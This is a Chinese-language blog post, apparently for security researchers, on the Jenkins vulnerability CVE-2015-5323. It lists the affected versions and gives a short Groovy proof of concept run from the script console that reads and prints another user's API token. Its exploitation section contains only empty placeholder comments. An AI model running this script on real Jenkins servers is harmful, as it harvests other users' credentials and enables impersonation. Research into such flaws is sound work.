Jenkins安全漏洞CVE-2015-5323技术分析与PoC详解

本文详细分析Jenkins安全漏洞SECURITY-200/CVE-2015-5323,该漏洞允许管理员获取其他用户的API令牌。包含受影响版本范围、漏洞原理说明及完整的Groovy脚本PoC实现,适用于安全研究人员和DevOps工程师参考。

Jenkins - SECURITY-200 / CVE-2015-5323 PoC

漏洞概述

SECURITY-200 / CVE-2015-5323

默认情况下,其他用户的API令牌会暴露给管理员。在未明确授予管理员RunScripts权限的实例中,这允许管理员使用其他用户的凭据运行脚本。

受影响版本

  • 所有Jenkins主线版本直至并包括1.637
  • 所有Jenkins LTS版本直至并包括1.625.1

PoC代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//from: https://gist.github.com/hayderimran7/dec6a655ba671fa5b3c3

import jenkins.security.*

//j.jenkins.setSecurityRealm(j.createDummySecurityRealm());        

User u = User.get("admin")  

ApiTokenProperty t = u.getProperty(ApiTokenProperty.class)  

def token = t.getApiToken()

//token.getClass()

println "token is $token "

测试环境

  • 测试对象:Jenkins 1.6.37

利用方式

从脚本控制台运行Groovy代码获取其他用户的令牌:

1
2
// 错误令牌示例
// 正确令牌示例

技术标签

devops, jenkins, Pentesting

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计